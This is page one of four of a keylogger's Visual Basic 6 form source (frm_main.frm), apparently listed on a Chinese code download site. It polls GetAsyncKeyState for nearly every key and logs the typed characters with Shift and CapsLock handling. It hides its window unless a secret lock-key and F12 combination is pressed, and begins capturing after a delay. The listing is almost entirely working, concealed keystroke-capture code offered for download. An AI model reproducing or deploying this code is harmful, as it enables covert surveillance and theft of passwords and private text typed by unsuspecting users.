⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 frm_main.frm

📁 键盘记录器
💻 FRM
📖 第 1 页 / 共 4 页
字号:
🔍
1234 
  Rtxt_MyText.Text = Rtxt_MyText.Text + "q"
End If
End If
'R键
MyKey = GetAsyncKeyState(vbKeyR)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "R"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "r"
End If
End If
'S键
MyKey = GetAsyncKeyState(vbKeyS)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "S"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "s"
End If
End If
'T键
MyKey = GetAsyncKeyState(vbKeyT)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "T"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "t"
End If
End If
'U键
MyKey = GetAsyncKeyState(vbKeyU)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "U"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "u"
End If
End If
'V键
MyKey = GetAsyncKeyState(vbKeyV)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "V"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "v"
End If
End If
'W键
MyKey = GetAsyncKeyState(vbKeyW)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "W"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "w"
End If
End If
'X键
MyKey = GetAsyncKeyState(vbKeyX)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "X"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "x"
End If
End If
'Y键
MyKey = GetAsyncKeyState(vbKeyY)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "Y"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "y"
End If
End If
'Z键
MyKey = GetAsyncKeyState(vbKeyZ)
If (MyKey And &H1) = &H1 Then '判断键是否按下
If (CapsLock = 1 And Shift = 0) Or (CapsLock = 0 And Shift <> 0) Then ''(CapsLock启用且未按Shift)或(CapsLock未启用但按下Shift)时
  Rtxt_MyText.Text = Rtxt_MyText.Text + "Z"
End If
If (CapsLock = 1 And Shift <> 0) Or (CapsLock = 0 And Shift = 0) Then
  Rtxt_MyText.Text = Rtxt_MyText.Text + "z"
End If
End If
'>>>>>>>>数字键及特殊符号
'1键
MyKey = GetAsyncKeyState(vbKey1)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "1"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "!"
  End If
End If
'2键
MyKey = GetAsyncKeyState(vbKey2)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "2"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "@"
  End If
End If
'3键
MyKey = GetAsyncKeyState(vbKey3)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "3"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "#"
  End If
End If
'4键
MyKey = GetAsyncKeyState(vbKey4)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "4"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "$"
  End If
End If
'5键
MyKey = GetAsyncKeyState(vbKey5)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "5"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "%"
  End If
End If
'6键
MyKey = GetAsyncKeyState(vbKey6)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "6"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "^"
  End If
End If
'7键
MyKey = GetAsyncKeyState(vbKey7)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "7"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "&"
  End If
End If
'8键
MyKey = GetAsyncKeyState(vbKey8)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "8"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "*"
  End If
End If
'9键
MyKey = GetAsyncKeyState(vbKey9)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "9"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "("
  End If
End If
'0键
MyKey = GetAsyncKeyState(vbKey0)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "0"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + ")"
  End If
End If
'；键
MyKey = GetAsyncKeyState(&HBA)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + ";"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + ":"
  End If
End If
'，键
MyKey = GetAsyncKeyState(&HBC)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + ","
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "<"
  End If
End If
'．键
MyKey = GetAsyncKeyState(&HBE)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "."
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + ">"
  End If
End If
'/键
MyKey = GetAsyncKeyState(&HBF)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "/"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "?"
  End If
End If
'"键
MyKey = GetAsyncKeyState(&HDE)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "'"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + """"
  End If
End If
'[键
MyKey = GetAsyncKeyState(&HDB)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "["
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "{"
  End If
End If
']键
MyKey = GetAsyncKeyState(&HDD)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "]"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "}"
  End If
End If
'\键
MyKey = GetAsyncKeyState(&HDC)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "\"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "|"
  End If
End If
'-键
MyKey = GetAsyncKeyState(&HBD)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "-"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "_"
  End If
End If
'=键
MyKey = GetAsyncKeyState(&HBB)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "="
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "+"
  End If
End If
'｀键
MyKey = GetAsyncKeyState(&HC0)
If (MyKey And &H1) = &H1 Then '判断键是否按下
  If Shift = 0 Then 'Shift键是否被按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "`"
  Else
    Rtxt_MyText.Text = Rtxt_MyText.Text + "~"
  End If
End If
'>>>>>>>>>>>>>>>>>小键盘数字及符号
'*键
MyKey = GetAsyncKeyState(vbKeyMultiply)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "*"
End If
'/键
MyKey = GetAsyncKeyState(vbKeyDivide)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "/"
End If
'+键
MyKey = GetAsyncKeyState(vbKeyAdd)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "+"
End If
'-键
MyKey = GetAsyncKeyState(vbKeySubtract)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "-"
End If
'.键
MyKey = GetAsyncKeyState(vbKeyDecimal)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "."
End If
'1键
MyKey = GetAsyncKeyState(vbKeyNumpad1)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "1"
End If
'2键
MyKey = GetAsyncKeyState(vbKeyNumpad2)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "2"
End If
'3键
MyKey = GetAsyncKeyState(vbKeyNumpad3)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "3"
End If
'4键
MyKey = GetAsyncKeyState(vbKeyNumpad4)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "4"
End If
'5键
MyKey = GetAsyncKeyState(vbKeyNumpad5)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "5"
End If
'6键
MyKey = GetAsyncKeyState(vbKeyNumpad6)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "6"
End If
'7键
MyKey = GetAsyncKeyState(vbKeyNumpad7)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "7"
End If
'8键
MyKey = GetAsyncKeyState(vbKeyNumpad8)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "8"
End If
'9键
MyKey = GetAsyncKeyState(vbKeyNumpad9)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "9"
End If
'0键
MyKey = GetAsyncKeyState(vbKeyNumpad0)
If (MyKey And &H1) = &H1 Then '判断键是否按下
    Rtxt_MyText.Text = Rtxt_MyText.Text + "0"
End If

End Sub


Private Sub Time_Start_Timer()
CapsLock = GetKeyState(vbKeyCapital) 'CapsLock键状态
NumLock = GetKeyState(vbKeyNumlock) 'NumLock键状态
ScrollLock = GetKeyState(vbKeyScrollLock) 'ScrollLock键状态
'如果在Numlock和Capslock和Scrolllock灯都亮的情况下，按下F12键则显示本窗体
If NumLock = 1 And CapsLock = 1 And ScrollLock = 1 And GetAsyncKeyState(vbKeyF12) <> 0 Then
Me.Visible = True
SetWindowPos Me.hwnd, HWND_TOPMOST, 0, 0, 0, 0, Flags '窗口最前
End If
'五秒以后开始执行程序
StartTime = StartTime + 1
If StartTime = 5 Then
  Time_Chr.Interval = 1
  Time_Start.Interval = 0
End If
End Sub
1234

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -